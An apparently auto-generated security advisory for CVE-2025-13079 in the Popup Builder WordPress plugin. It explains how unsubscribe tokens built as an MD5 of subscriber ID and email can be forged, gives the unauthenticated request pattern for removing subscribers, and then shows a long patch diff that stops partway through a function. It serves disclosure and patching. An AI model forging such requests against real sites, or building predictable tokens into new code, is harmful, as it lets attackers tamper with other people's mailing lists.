Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13079: Popup Builder – Create highly converting, mobile friendly marketing popups. <= 4.4.2 – Improper Authorization to Unauthenticated Subscriber Removal via Predictable Tokens (popup-builder)

Plugin popup-builder
Severity Medium (CVSS 5.3)
CWE 1241
Vulnerable Version 4.4.2
Patched Version 4.4.3
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13079:
The Popup Builder WordPress plugin prior to version 4.4.3 contains an improper authorization vulnerability in its unsubscribe functionality. This vulnerability allows unauthenticated attackers to unsubscribe arbitrary subscribers from mailing lists via brute-force attacks on predictable unsubscribe tokens. The CVSS 5.3 score reflects medium severity due to the impact on data integrity and availability of mailing list services.

Atomic Edge research identifies the root cause in the `AdminHelper::validateUnsubscribeToken()` function within `/popup-builder/com/helpers/AdminHelper.php`. The vulnerable code generates unsubscribe tokens using a deterministic MD5 hash of the subscriber ID and email address (`md5($params[‘subscriberId’].$params[’email’])`). This predictable token generation occurs in the `Actions::sendNewsletter()` method at line 841, where the plugin constructs unsubscribe links. The token validation logic in `AdminHelper::validateUnsubscribeToken()` compares the received token directly against this predictable MD5 hash without implementing cryptographically secure random tokens or rate limiting.

The exploitation method involves an attacker obtaining or guessing a victim’s email address and the associated popup ID. Attackers can then brute-force the unsubscribe token by generating MD5 hashes of possible subscriber ID and email combinations. The attack targets the unsubscribe endpoint at the site’s home URL with parameters `sgpbUnsubscribe`, `email`, and `popup`. No authentication is required to access this functionality. Attackers send crafted GET requests to `/?sgpbUnsubscribe={token}&email={victim_email}&popup={popup_id}` where the token is the predictable MD5 hash.

The patch implements multiple security improvements. It replaces the predictable MD5 token generation with cryptographically secure random tokens using `wp_generate_password(32, false)` in the new `AdminHelper::generateUnsubscribeToken()` method. The patch adds a new database column `unsubscribe_token` to store these secure tokens via the `AdminHelper::addUnsubscribeTokenColumn()` migration function. Token validation now uses `hash_equals()` for timing-attack resistant comparison in `AdminHelper::validateUnsubscribeToken()`. The patch also introduces a new workflow where old MD5 tokens redirect to a secure link request form, handled by the new `Actions::requestNewUnsubscribeLink()` method and corresponding admin-post action `sgpb_request_new_unsubscribe_link`.

Successful exploitation allows attackers to arbitrarily remove subscribers from mailing lists without authorization. This impacts data integrity by modifying subscription states and affects the availability of email marketing services for affected organizations. While the vulnerability does not enable privilege escalation or remote code execution, it facilitates unauthorized data modification that can disrupt business communications and marketing operations.

Differential between vulnerable and patched code

Code Diff
--- a/popup-builder/com/boot.php
+++ b/popup-builder/com/boot.php
@@ -1,4 +1,6 @@
 <?php
+defined( 'ABSPATH' ) || exit;
+
 require_once(dirname(__FILE__).'/config/config.php');
 require_once(dirname(__FILE__).'/config/configPackage.php');

--- a/popup-builder/com/classes/Actions.php
+++ b/popup-builder/com/classes/Actions.php
@@ -1,5 +1,8 @@
 <?php
 namespace sgpb;
+
+defined( 'ABSPATH' ) || exit;
+
 use WP_Query;
 use SgpbPopupConfig;
 use SgpbDataConfig;
@@ -34,6 +37,7 @@
 		add_action('admin_post_csv_file', array($this, 'getSubscribersCsvFile'));
 		add_action('admin_post_sgpb_system_info', array($this, 'getSystemInfoFile'));
 		add_action('admin_post_sgpbSaveSettings', array($this, 'saveSettings'), 10, 1);
+		add_action('admin_post_sgpb_request_new_unsubscribe_link', array($this, 'requestNewUnsubscribeLink'));
 		add_action('admin_init', array($this, 'userRolesCaps'));
 		add_action('admin_notices', array($this, 'pluginNotices'));
 		add_action('admin_init', array($this, 'pluginLoaded'));
@@ -500,6 +504,13 @@
 			update_option('sgpbUnsubscribeColumnFixed', 1);
 			delete_option('sgpbUnsubscribeColumn');
 		}
+
+		// Add unsubscribe_token column for secure unsubscribe tokens
+		$unsubscribeTokenColumnFixed = get_option('sgpbUnsubscribeTokenColumnFixed');
+		if (!$unsubscribeTokenColumnFixed) {
+			AdminHelper::addUnsubscribeTokenColumn();
+			update_option('sgpbUnsubscribeTokenColumnFixed', 1);
+		}

 		if ($versionPopup && !$convert) {
 			update_option('sgpbConvertToNewVersion', 1);
@@ -785,11 +796,23 @@
 			wp_clear_scheduled_hook('sgpb_send_newsletter');
 			return false;
 		}
-		$table_subscription = $wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME;
-		$selectionQuery = "SELECT id FROM $table_subscription WHERE";
-		$selectionQuery = apply_filters('sgpbUserSelectionQuery', $selectionQuery);
-
-		$result = $wpdb->get_row( $wpdb->prepare("$selectionQuery and subscriptionType = %d limit 1", $subscriptionFormId), ARRAY_A);//db call ok
+
+		$table_subscription = $wpdb->prefix . SGPB_SUBSCRIBERS_TABLE_NAME;
+		$result = $wpdb->get_row(
+		    $wpdb->prepare(
+		        "SELECT id
+		         FROM $table_subscription
+		         WHERE status = %d
+		           AND unsubscribed = %d
+		           AND subscriptionType = %d
+		         LIMIT 1",
+		        0,
+		        0,
+		        $subscriptionFormId
+		    ),
+		    ARRAY_A
+		);
+
 		$currentStateEmailId = isset($result['id']) ? (int)$result['id'] : 0;
 		$table_subscription = $wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME;
 		$totalSubscribers = $wpdb->get_var( $wpdb->prepare("SELECT count(*) FROM $table_subscription WHERE unsubscribed = 0 and subscriptionType = %d", $subscriptionFormId) );
@@ -817,9 +840,25 @@
 			return;
 		}

-		$getAllDataSql = 'SELECT id, firstName, lastName, email FROM '.$wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME.' WHERE';
-		$getAllDataSql = apply_filters('sgpbUserSelectionQuery', $getAllDataSql);
-		$subscribers = $wpdb->get_results( $wpdb->prepare( "$getAllDataSql and id >= %d and subscriptionType = %s limit %d", $currentStateEmailId, $subscriptionFormId, $emailsInFlow), ARRAY_A);
+		$table_subscription = $wpdb->prefix . SGPB_SUBSCRIBERS_TABLE_NAME;
+
+		$subscribers = $wpdb->get_results(
+		    $wpdb->prepare(
+		        "
+		        SELECT id, firstName, lastName, email
+		        FROM $table_subscription
+		        WHERE status = 0
+		          AND unsubscribed = 0
+		          AND id >= %d
+		          AND subscriptionType = %s
+		        LIMIT %d
+		        ",
+		        $currentStateEmailId,
+		        $subscriptionFormId,
+		        $emailsInFlow
+		    ),
+		    ARRAY_A
+		); // db call ok

 		$subscribers = apply_filters('sgpNewsletterSendingSubscribers', $subscribers);

@@ -839,10 +878,25 @@
 			$replacementUserName = $newsletterOptions['username'];
 			$replacementEmail = $subscriber['email'];
 			$replacementUnsubscribe = get_home_url();
-			$replacementUnsubscribe .= '?sgpbUnsubscribe='.md5($replacementId.$replacementEmail);
-			$replacementUnsubscribe .= '&email='.$subscriber['email'];
+
+			// Get or generate secure unsubscribe token
+			global $wpdb;
+			$subscribersTableName = $wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME;
+			$subscriberTokenData = $wpdb->get_row( $wpdb->prepare( "SELECT unsubscribe_token FROM $subscribersTableName WHERE id = %d", $replacementId ), ARRAY_A );
+
+			$unsubscribeToken = '';
+			if (!empty($subscriberTokenData['unsubscribe_token'])) {
+				$unsubscribeToken = $subscriberTokenData['unsubscribe_token'];
+			} else {
+				// Generate token if it doesn't exist (for backward compatibility)
+				$unsubscribeToken = AdminHelper::generateUnsubscribeToken();
+				$wpdb->query( $wpdb->prepare( "UPDATE $subscribersTableName SET unsubscribe_token = %s WHERE id = %d", $unsubscribeToken, $replacementId ) );
+			}
+
+			$replacementUnsubscribe .= '?sgpbUnsubscribe='.urlencode($unsubscribeToken);
+			$replacementUnsubscribe .= '&email='.urlencode($subscriber['email']);
 			$replacementUnsubscribe .= '&popup='.$subscriptionFormId;
-			$replacementUnsubscribe = '<br><a href="'.$replacementUnsubscribe.'">'.$title.'</a>';
+			$replacementUnsubscribe = '<br><a href="'.esc_url($replacementUnsubscribe).'">'.$title.'</a>';

 			// Replace First name and Last name from email message
 			$emailMessageCustom = preg_replace($allAvailableShortcodes['patternFirstName'], $replacementFirstName, $emailMessage);
@@ -1000,6 +1054,13 @@
 		*/
 		$unsubscribeArgs = $this->collectUnsubscriberArgs();

+		// Check if this is a request to show the form (expired link)
+		if (isset($_GET['sgpbUnsubscribe']) && sanitize_text_field(wp_unslash($_GET['sgpbUnsubscribe'])) === 'expired') {
+			$popup = isset($_GET['popup']) ? sanitize_text_field(wp_unslash($_GET['popup'])) : '';
+			AdminHelper::displayUnsubscribeLinkRequestForm($popup);
+			wp_die();
+		}
+
 		if (!empty($unsubscribeArgs)) {
 			$this->unsubscribe($unsubscribeArgs);
 		}
@@ -1808,4 +1869,51 @@
 		return $file;
     }

+	/**
+	 * Handle request for new unsubscribe link when old link is expired
+	 */
+	public function requestNewUnsubscribeLink()
+	{
+		// Verify nonce
+		$nonce = isset($_POST['sgpb_unsubscribe_nonce']) ? sanitize_text_field(wp_unslash($_POST['sgpb_unsubscribe_nonce'])) : '';
+		if (!wp_verify_nonce($nonce, 'sgpb_request_unsubscribe_link')) {
+			wp_redirect(add_query_arg('sgpb_unsubscribe_status', 'error', wp_get_referer()));
+			exit;
+		}
+
+		// Get and validate email
+		$email = isset($_POST['email']) ? sanitize_email(wp_unslash($_POST['email'])) : '';
+		$popup = isset($_POST['popup']) ? sanitize_text_field(wp_unslash($_POST['popup'])) : '';
+
+		if (empty($email) || !is_email($email)) {
+			$redirectUrl = add_query_arg(array(
+				'sgpbUnsubscribe' => 'expired',
+				'popup' => $popup,
+				'sgpb_unsubscribe_status' => 'error'
+			), home_url());
+			wp_redirect($redirectUrl);
+			exit;
+		}
+
+		// Send new unsubscribe link
+		$result = AdminHelper::sendNewUnsubscribeLink($email, $popup);
+
+		if ($result) {
+			$redirectUrl = add_query_arg(array(
+				'sgpbUnsubscribe' => 'expired',
+				'popup' => $popup,
+				'sgpb_unsubscribe_status' => 'success'
+			), home_url());
+		} else {
+			$redirectUrl = add_query_arg(array(
+				'sgpbUnsubscribe' => 'expired',
+				'popup' => $popup,
+				'sgpb_unsubscribe_status' => 'not_found'
+			), home_url());
+		}
+
+		wp_redirect($redirectUrl);
+		exit;
+	}
+
 }
--- a/popup-builder/com/classes/Ajax.php
+++ b/popup-builder/com/classes/Ajax.php
@@ -1,5 +1,8 @@
 <?php
 namespace sgpb;
+
+defined( 'ABSPATH' ) || exit;
+
 use SGPBConfigDataHelper;

 class Ajax
@@ -308,8 +311,10 @@
 		if(isset($allPopupsCount[$popupId])) {
 			$allPopupsCount[$popupId] = 0;
 		}
-
-		$popupAnalyticsData = $wpdb->get_var( $wpdb->prepare(' DELETE FROM '.$wpdb->prefix.'sgpb_analytics WHERE target_id = %d AND event_id NOT IN (7, 12, 13)', $popupId));
+		if($wpdb->get_var("SHOW TABLES LIKE '$tableName'") == $tableName) {
+			$popupAnalyticsData = $wpdb->get_var( $wpdb->prepare(' DELETE FROM '.$wpdb->prefix.'sgpb_analytics WHERE target_id = %d AND event_id NOT IN (7, 12, 13)', $popupId));
+		}
+

 		update_option('SgpbCounter', $allPopupsCount);

@@ -524,12 +529,22 @@
 		foreach($subscriptionPopupsId as $subscriptionPopupId) {

 			$res = $wpdb->get_row( $wpdb->prepare("SELECT id FROM $table_sgpb_subscribers WHERE email = %s AND subscriptionType = %d", $email, $subscriptionPopupId), ARRAY_A);
+
+			// Generate secure unsubscribe token
+			$unsubscribeToken = AdminHelper::generateUnsubscribeToken();
+
 			// add new subscriber
 			if(empty($res)) {
-				$res = $wpdb->query( $wpdb->prepare("INSERT INTO $table_sgpb_subscribers (firstName, lastName, email, cDate, subscriptionType) VALUES (%s, %s, %s, %s, %d) ", $firstName, $lastName, $email, $date, $subscriptionPopupId) );
+				$res = $wpdb->query( $wpdb->prepare("INSERT INTO $table_sgpb_subscribers (firstName, lastName, email, cDate, subscriptionType, unsubscribe_token) VALUES (%s, %s, %s, %s, %d, %s) ", $firstName, $lastName, $email, $date, $subscriptionPopupId, $unsubscribeToken) );
 			} // edit existing
 			else {
-				$wpdb->query( $wpdb->prepare("UPDATE $table_sgpb_subscribers SET firstName = %s, lastName = %s, email = %s, cDate = %s, subscriptionType = %d, unsubscribered = 0 WHERE id = %d", $firstName, $lastName, $email, $date, $subscriptionPopupId, $res['id']) );
+				// Update token if it doesn't exist, otherwise keep existing token
+				$existingSubscriber = $wpdb->get_row( $wpdb->prepare("SELECT unsubscribe_token FROM $table_sgpb_subscribers WHERE id = %d", $res['id']), ARRAY_A);
+				if (empty($existingSubscriber['unsubscribe_token'])) {
+					$wpdb->query( $wpdb->prepare("UPDATE $table_sgpb_subscribers SET firstName = %s, lastName = %s, email = %s, cDate = %s, subscriptionType = %d, unsubscribered = 0, unsubscribe_token = %s WHERE id = %d", $firstName, $lastName, $email, $date, $subscriptionPopupId, $unsubscribeToken, $res['id']) );
+				} else {
+					$wpdb->query( $wpdb->prepare("UPDATE $table_sgpb_subscribers SET firstName = %s, lastName = %s, email = %s, cDate = %s, subscriptionType = %d, unsubscribered = 0 WHERE id = %d", $firstName, $lastName, $email, $date, $subscriptionPopupId, $res['id']) );
+				}
 				$res = 1;
 			}
 			$popupPostIds .= $subscriptionPopupId.' ';
@@ -683,18 +698,28 @@

 				$sgpb_check_existed = $wpdb->get_row( $wpdb->prepare("SELECT id FROM $subscribersTableName WHERE email = %s AND subscriptionType = %d", $csvData[$mapping['email']], $formId), ARRAY_A);

-				$valid_firstname = isset( $csvData[$mapping['firstName']] ) ?  $csvData[$mapping['firstName']] : '';
+				$valid_firstname = isset( $csvData[$mapping['firstName']] ) ?  $csvData[$mapping['firstName']] : '';
 				$valid_lastname = isset( $csvData[$mapping['lastName']] ) ?  $csvData[$mapping['lastName']] : '';
-				$num_original_importrs++;
+				$num_original_importrs++;
+
+				// Generate secure unsubscribe token
+				$unsubscribeToken = AdminHelper::generateUnsubscribeToken();
+
 				// add new subscriber
 				if(empty($sgpb_check_existed)) {
 					if( empty( $check_column ) ) {
-						$wpdb->query( $wpdb->prepare("INSERT INTO $subscribersTableName (firstName, lastName, email, cDate, subscriptionType, status, unsubscribed) VALUES (%s, %s, %s, %s, %d, %d, %d) ", $valid_firstname, $valid_lastname, $csvData[$mapping['email']], $date, $formId, 0, 0) );
+						$wpdb->query( $wpdb->prepare("INSERT INTO $subscribersTableName (firstName, lastName, email, cDate, subscriptionType, status, unsubscribed, unsubscribe_token) VALUES (%s, %s, %s, %s, %d, %d, %d, %s) ", $valid_firstname, $valid_lastname, $csvData[$mapping['email']], $date, $formId, 0, 0, $unsubscribeToken) );
 					} else {
-						$wpdb->query( $wpdb->prepare("INSERT INTO $subscribersTableName (firstName, lastName, email, cDate, subscriptionType, status, unsubscribed, submittedData) VALUES (%s, %s, %s, %s, %d, %d, %d, %s) ", $valid_firstname, $valid_lastname, $csvData[$mapping['email']], $date, $formId, 0, 0, '') );
+						$wpdb->query( $wpdb->prepare("INSERT INTO $subscribersTableName (firstName, lastName, email, cDate, subscriptionType, status, unsubscribed, submittedData, unsubscribe_token) VALUES (%s, %s, %s, %s, %d, %d, %d, %s, %s) ", $valid_firstname, $valid_lastname, $csvData[$mapping['email']], $date, $formId, 0, 0, '', $unsubscribeToken) );
 					}
 					$number_importartSubscribers++;
-				}
+				} else {
+					// Update token if it doesn't exist for existing subscriber
+					$existingSubscriber = $wpdb->get_row( $wpdb->prepare("SELECT unsubscribe_token FROM $subscribersTableName WHERE id = %d", $sgpb_check_existed['id']), ARRAY_A);
+					if (empty($existingSubscriber['unsubscribe_token'])) {
+						$wpdb->query( $wpdb->prepare("UPDATE $subscribersTableName SET unsubscribe_token = %s WHERE id = %d", $unsubscribeToken, $sgpb_check_existed['id']) );
+					}
+				}
 			}
 			// translators: %d the number of imported subscribers, %s is the title of Popup.
 			$notification_importartSubscribers = sprintf( __('You have imported %1$d subscribers to the `%2$s` successfully!', 'popup-builder'), $number_importartSubscribers, $formId);
@@ -892,11 +917,20 @@
 		$subscribersTableName = $wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME;
 		$list = $wpdb->get_row( $wpdb->prepare("SELECT id FROM $subscribersTableName WHERE email = %s AND subscriptionType = %d", $email, $popupPostId), ARRAY_A);

+		// Generate secure unsubscribe token
+		$unsubscribeToken = AdminHelper::generateUnsubscribeToken();
+
 		// When subscriber does not exist we insert to subscribers table otherwise we update user info
 		if(empty($list['id'])) {
-			$res = $wpdb->query( $wpdb->prepare("INSERT INTO $subscribersTableName (firstName, lastName, email, cDate, subscriptionType) VALUES (%s, %s, %s, %s, %d) ", $firstName, $lastName, $email, $date, $popupPostId) );
+			$res = $wpdb->query( $wpdb->prepare("INSERT INTO $subscribersTableName (firstName, lastName, email, cDate, subscriptionType, unsubscribe_token) VALUES (%s, %s, %s, %s, %d, %s) ", $firstName, $lastName, $email, $date, $popupPostId, $unsubscribeToken) );
 		} else {
-			$wpdb->query( $wpdb->prepare("UPDATE $subscribersTableName SET firstName = %s, lastName = %s, email = %s, cDate = %s, subscriptionType = %d WHERE id = %d", $firstName, $lastName, $email, $date, $popupPostId, $list['id']) );
+			// Update token if it doesn't exist, otherwise keep existing token
+			$existingSubscriber = $wpdb->get_row( $wpdb->prepare("SELECT unsubscribe_token FROM $subscribersTableName WHERE id = %d", $list['id']), ARRAY_A);
+			if (empty($existingSubscriber['unsubscribe_token'])) {
+				$wpdb->query( $wpdb->prepare("UPDATE $subscribersTableName SET firstName = %s, lastName = %s, email = %s, cDate = %s, subscriptionType = %d, unsubscribe_token = %s WHERE id = %d", $firstName, $lastName, $email, $date, $popupPostId, $unsubscribeToken, $list['id']) );
+			} else {
+				$wpdb->query( $wpdb->prepare("UPDATE $subscribersTableName SET firstName = %s, lastName = %s, email = %s, cDate = %s, subscriptionType = %d WHERE id = %d", $firstName, $lastName, $email, $date, $popupPostId, $list['id']) );
+			}
 			$res = 1;
 		}
 		if($res) {
--- a/popup-builder/com/classes/ConvertToNewVersion.php
+++ b/popup-builder/com/classes/ConvertToNewVersion.php
@@ -1,5 +1,8 @@
 <?php
 namespace sgpb;
+
+defined( 'ABSPATH' ) || exit;
+
 use sgpbAdminHelper;
 use SGPBConfigDataHelper;

@@ -140,7 +143,9 @@
 		foreach ($subscribers as $subscriber) {
 			$subscriber['subscriptionType'] = $this->getPostByTitle($subscriber['subscriptionType']);
 			$date = gmdate('Y-m-d');
-			$wpdb->query( $wpdb->prepare("INSERT INTO $subscribersTableName (`firstName`, `lastName`, `email`, `cDate`, `subscriptionType`, `unsubscribed`) VALUES (%s, %s, %s, %s, %d, %d) ", $subscriber['firstName'], $subscriber['lastName'], $subscriber['email'], $date, $subscriber['subscriptionType'], 0) );
+			// Generate secure unsubscribe token
+			$unsubscribeToken = AdminHelper::generateUnsubscribeToken();
+			$wpdb->query( $wpdb->prepare("INSERT INTO $subscribersTableName (`firstName`, `lastName`, `email`, `cDate`, `subscriptionType`, `unsubscribed`, `unsubscribe_token`) VALUES (%s, %s, %s, %s, %d, %d, %s) ", $subscriber['firstName'], $subscriber['lastName'], $subscriber['email'], $date, $subscriber['subscriptionType'], 0, $unsubscribeToken) );
 		}
 	}

--- a/popup-builder/com/classes/Feedback.php
+++ b/popup-builder/com/classes/Feedback.php
@@ -1,6 +1,8 @@
 <?php
 namespace sgpb;

+defined( 'ABSPATH' ) || exit;
+
 class SGPBFeedback
 {
 	public function __construct()
--- a/popup-builder/com/classes/Filters.php
+++ b/popup-builder/com/classes/Filters.php
@@ -1,5 +1,9 @@
 <?php
+
 namespace sgpb;
+
+defined( 'ABSPATH' ) || exit;
+
 use WP_Query;
 use SgpbPopupConfig;
 use sgpbPopupBuilderActivePackage;
--- a/popup-builder/com/classes/MediaButton.php
+++ b/popup-builder/com/classes/MediaButton.php
@@ -1,6 +1,9 @@
 <?php
+
 namespace sgpb;

+defined( 'ABSPATH' ) || exit;
+
 class MediaButton
 {
 	private $hideMediaButton = true;
--- a/popup-builder/com/classes/NotificationCenter.php
+++ b/popup-builder/com/classes/NotificationCenter.php
@@ -1,5 +1,8 @@
 <?php
 namespace sgpb;
+
+defined( 'ABSPATH' ) || exit;
+
 use sgpbAdminHelper;

 class SGPBNotificationCenter
--- a/popup-builder/com/classes/RegisterPostType.php
+++ b/popup-builder/com/classes/RegisterPostType.php
@@ -1,5 +1,8 @@
 <?php
 namespace sgpb;
+
+defined( 'ABSPATH' ) || exit;
+
 use SgpbDataConfig;
 use SgpbPopupConfig;
 class RegisterPostType
--- a/popup-builder/com/classes/ScriptsLoader.php
+++ b/popup-builder/com/classes/ScriptsLoader.php
@@ -1,7 +1,9 @@
 <?php
-
 namespace sgpb;

+defined( 'ABSPATH' ) || exit;
+
+
 // load popups data's from popups object
 class ScriptsLoader
 {
--- a/popup-builder/com/classes/Updates.php
+++ b/popup-builder/com/classes/Updates.php
@@ -1,6 +1,8 @@
 <?php
 namespace sgpb;

+defined( 'ABSPATH' ) || exit;
+
 class Updates
 {
 	private $licenses = array();
--- a/popup-builder/com/classes/components/Menu.php
+++ b/popup-builder/com/classes/components/Menu.php
@@ -1,7 +1,8 @@
 <?php
-
 namespace sgpb;

+defined( 'ABSPATH' ) || exit;
+
 /**
  * Class SGPBMenu
  * @package sgpb
--- a/popup-builder/com/classes/popups/SubscriptionPopup.php
+++ b/popup-builder/com/classes/popups/SubscriptionPopup.php
@@ -1,5 +1,8 @@
 <?php
 namespace sgpb;
+
+defined( 'ABSPATH' ) || exit;
+
 require_once(dirname(__FILE__).'/SGPopup.php');
 require_once(ABSPATH.'wp-admin/includes/plugin.php');

--- a/popup-builder/com/config/config-free.php
+++ b/popup-builder/com/config/config-free.php
@@ -3,6 +3,6 @@
 	exit();
 }

-define('SGPB_POPUP_VERSION', '4.4.2');
+define('SGPB_POPUP_VERSION', '4.4.3');
 define('SGPB_POPUP_PKG', SGPB_POPUP_PKG_FREE);
 define('SGPB_POPUP_BUILDER_BASENAME', 'popupbuilder-platinum/popup-builder.php');
--- a/popup-builder/com/config/config-gold.php
+++ b/popup-builder/com/config/config-gold.php
@@ -6,7 +6,7 @@
 define('SGPB_ITEM_NAME', 'Gold');
 define('SGPB_ITEM_ID', 84579);

-define('SGPB_POPUP_VERSION', '4.4.2');
+define('SGPB_POPUP_VERSION', '4.4.3');
 // for popup builder license version
 define('SGPB_VERSION_POPUP_BUILDER', SGPB_POPUP_VERSION);
 define('SGPB_POPUP_PKG', SGPB_POPUP_PKG_GOLD);
--- a/popup-builder/com/config/config-platinum.php
+++ b/popup-builder/com/config/config-platinum.php
@@ -6,7 +6,7 @@
 define('SGPB_ITEM_NAME', 'Platinum');
 define('SGPB_ITEM_ID', 84595);

-define('SGPB_POPUP_VERSION', '4.4.2');
+define('SGPB_POPUP_VERSION', '4.4.3');
 // for popup builder license version
 define('SGPB_VERSION_POPUP_BUILDER', SGPB_POPUP_VERSION);
 define('SGPB_POPUP_PKG', SGPB_POPUP_PKG_PLATINUM);
--- a/popup-builder/com/config/config-silver.php
+++ b/popup-builder/com/config/config-silver.php
@@ -6,7 +6,7 @@
 define('SGPB_ITEM_NAME', 'Silver');
 define('SGPB_ITEM_ID', 4146);

-define('SGPB_POPUP_VERSION', '4.4.2');
+define('SGPB_POPUP_VERSION', '4.4.3');
 // for popup builder license version
 define('SGPB_VERSION_POPUP_BUILDER', SGPB_POPUP_VERSION);
 define('SGPB_POPUP_PKG', SGPB_POPUP_PKG_SILVER);
--- a/popup-builder/com/config/configPackage.php
+++ b/popup-builder/com/config/configPackage.php
@@ -3,6 +3,6 @@
 	exit();
 }

-define('SGPB_POPUP_VERSION', '4.4.2');
+define('SGPB_POPUP_VERSION', '4.4.3');
 define('SGPB_POPUP_PKG', SGPB_POPUP_PKG_FREE);
 define('SGPB_POPUP_BUILDER_BASENAME', 'popupbuilder-platinum/popup-builder.php');
--- a/popup-builder/com/helpers/AdminHelper.php
+++ b/popup-builder/com/helpers/AdminHelper.php
@@ -1,5 +1,9 @@
 <?php
 namespace sgpb;
+
+defined( 'ABSPATH' ) || exit;
+
+
 use WP_Query;
 use DateTime;
 use DateTimeZone;
@@ -907,10 +911,28 @@
 		if (isset($params['popup'])) {
 			$popup = $params['popup'];
 		}
+		// Check if this is an old MD5 token (32 characters, hexadecimal) first
+		$receivedToken = isset($params['token']) ? $params['token'] : '';
+		$isOldMd5Token = (strlen($receivedToken) == 32 && ctype_xdigit($receivedToken));
+
+		if ($isOldMd5Token) {
+			// Old unsubscribe link - show form to request new secure link
+			self::displayUnsubscribeLinkRequestForm($popup);
+			wp_die();
+		}
+
+		// If no email provided, show form
+		if (empty($email)) {
+			self::displayUnsubscribeLinkRequestForm($popup);
+			wp_die();
+		}
+
 		$subscribersTableName = $wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME;
 		$res = $wpdb->get_row( $wpdb->prepare("SELECT id FROM $subscribersTableName WHERE email = %s && subscriptionType = %s", $email, $popup), ARRAY_A);
 		if (!isset($res['id'])) {
-			$noSubscriber = false;
+			// Subscriber not found - show form to request new link
+			self::displayUnsubscribeLinkRequestForm($popup);
+			wp_die();
 		}
 		$params['subscriberId'] = $res['id'];

@@ -918,10 +940,9 @@
 		if ($subscriber && $noSubscriber) {
 			self::deleteSubscriber($params);
 		}
-		else if (!$noSubscriber) {
-			printf( '<span>%s</span>' ,
-				wp_kses_post(__('Oops, something went wrong, please try again or contact the administrator to check more info.', 'popup-builder') )
-			);
+		else {
+			// Token is invalid or expired - show form to request new link
+			self::displayUnsubscribeLinkRequestForm($popup);
 			wp_die();
 		}
 	}
@@ -932,12 +953,29 @@
 			return false;
 		}

-		$receivedToken = $params['token'];
-		$realToken = md5($params['subscriberId'].$params['email']);
-		if ($receivedToken == $realToken) {
-			return true;
+		global $wpdb;
+		$subscribersTableName = $wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME;
+
+		// Get the stored token from database
+		$subscriber = $wpdb->get_row( $wpdb->prepare( "SELECT unsubscribe_token FROM $subscribersTableName WHERE id = %d", $params['subscriberId'] ), ARRAY_A );
+
+		if (empty($subscriber)) {
+			return false;
 		}
-
+
+		$receivedToken = isset($params['token']) ? $params['token'] : '';
+		$storedToken = isset($subscriber['unsubscribe_token']) ? $subscriber['unsubscribe_token'] : '';
+
+		// SECURITY: Old MD5 tokens are no longer accepted
+		// If no secure token is stored, the subscriber must request a new unsubscribe link
+		if (empty($storedToken)) {
+			// Old subscribers without secure tokens cannot use old MD5 links
+			// They must contact the administrator or request a new unsubscribe link
+			return false;
+		}
+
+		// Use secure comparison to prevent timing attacks
+		return hash_equals($storedToken, $receivedToken);
 	}

 	public static function deleteSubscriber($params = array())
@@ -990,6 +1028,135 @@
 		$wpdb->query( "ALTER TABLE $subscribersTableName ADD COLUMN unsubscribed INT NOT NULL DEFAULT 0 " );
 	}

+	/**
+	 * Generate a cryptographically secure random token for unsubscribe links
+	 *
+	 * @return string A secure random token
+	 */
+	public static function generateUnsubscribeToken()
+	{
+		// Use wp_generate_password with 32 characters for a secure random token
+		// This uses cryptographically secure random number generator
+		return wp_generate_password(32, false);
+	}
+
+	/**
+	 * Add unsubscribe_token column to subscribers table if it doesn't exist
+	 * This is a migration function to add the secure token column
+	 */
+	public static function addUnsubscribeTokenColumn()
+	{
+		global $wpdb;
+		$subscribersTableName = $wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME;
+
+		// Check if column already exists
+		$column_exists = $wpdb->get_results( $wpdb->prepare( "SHOW COLUMNS FROM `$subscribersTableName` LIKE %s", 'unsubscribe_token' ) );
+
+		if (empty($column_exists)) {
+			$wpdb->query( "ALTER TABLE $subscribersTableName ADD COLUMN unsubscribe_token VARCHAR(255) NULL DEFAULT NULL" );
+
+			// Generate tokens for existing subscribers that don't have one
+			// This ensures backward compatibility
+			$subscribers_without_token = $wpdb->get_results( "SELECT id, email FROM $subscribersTableName WHERE unsubscribe_token IS NULL OR unsubscribe_token = ''", ARRAY_A );
+
+			foreach ($subscribers_without_token as $subscriber) {
+				$token = self::generateUnsubscribeToken();
+				$wpdb->query( $wpdb->prepare( "UPDATE $subscribersTableName SET unsubscribe_token = %s WHERE id = %d", $token, $subscriber['id'] ) );
+			}
+		}
+	}
+
+	/**
+	 * Display form to request a new unsubscribe link when old link is expired
+	 *
+	 * @param string $popup Popup ID
+	 */
+	public static function displayUnsubscribeLinkRequestForm($popup = '')
+	{
+		$homeUrl = get_home_url();
+		$actionUrl = admin_url('admin-post.php');
+
+		// Check if this is a redirect from form submission
+		$status = isset($_GET['sgpb_unsubscribe_status']) ? sanitize_text_field(wp_unslash($_GET['sgpb_unsubscribe_status'])) : '';
+		$emailValue = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : '';
+
+		// Include the view template
+		$viewPath = SG_POPUP_VIEWS_PATH.'unsubscribeLinkRequestForm.php';
+		if (file_exists($viewPath)) {
+			include $viewPath;
+		} else {
+			// Fallback if view file doesn't exist
+			printf( '<span>%s</span>' ,
+				wp_kses_post(__('This unsubscribe link is no longer valid. Please contact the site administrator to unsubscribe from the mailing list.', 'popup-builder') )
+			);
+		}
+	}
+
+	/**
+	 * Send a new secure unsubscribe link to the subscriber
+	 *
+	 * @param string $email Subscriber email
+	 * @param string $popup Popup ID
+	 * @return bool True if email sent successfully, false otherwise
+	 */
+	public static function sendNewUnsubscribeLink($email, $popup = '')
+	{
+		global $wpdb;
+		$subscribersTableName = $wpdb->prefix.SGPB_SUBSCRIBERS_TABLE_NAME;
+
+		// Find subscriber by email and popup
+		$subscriber = $wpdb->get_row( $wpdb->prepare(
+			"SELECT id, firstName, lastName FROM $subscribersTableName WHERE email = %s AND subscriptionType = %s AND unsubscribed = 0",
+			$email,
+			$popup
+		), ARRAY_A);
+
+		if (empty($subscriber)) {
+			return false;
+		}
+
+		// Generate or update secure token
+		$newToken = self::generateUnsubscribeToken();
